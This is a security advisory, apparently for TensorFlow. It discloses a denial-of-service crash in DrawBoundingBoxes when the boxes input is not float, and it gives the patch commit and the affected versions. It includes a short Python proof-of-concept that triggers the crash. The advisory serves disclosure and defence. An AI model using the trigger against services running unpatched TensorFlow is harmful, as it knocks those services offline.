Impact

When DrawBoundingBoxes receives an input boxes that is not of dtype float, it gives a CHECK fail that can trigger a denial of service attack.

import tensorflow as tf
import numpy as np
arg_0=tf.constant(value=np.random.random(size=(1, 3, 2, 3)), shape=(1, 3, 2, 3), dtype=tf.half)
arg_1=tf.constant(value=np.random.random(size=(1, 2, 4)), shape=(1, 2, 4), dtype=tf.float32)
arg_2=''
tf.raw_ops.DrawBoundingBoxes(images=arg_0, boxes=arg_1, name=arg_2)

Patches

We have patched the issue in GitHub commit da0d65cdc1270038e72157ba35bf74b85d9bda11.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.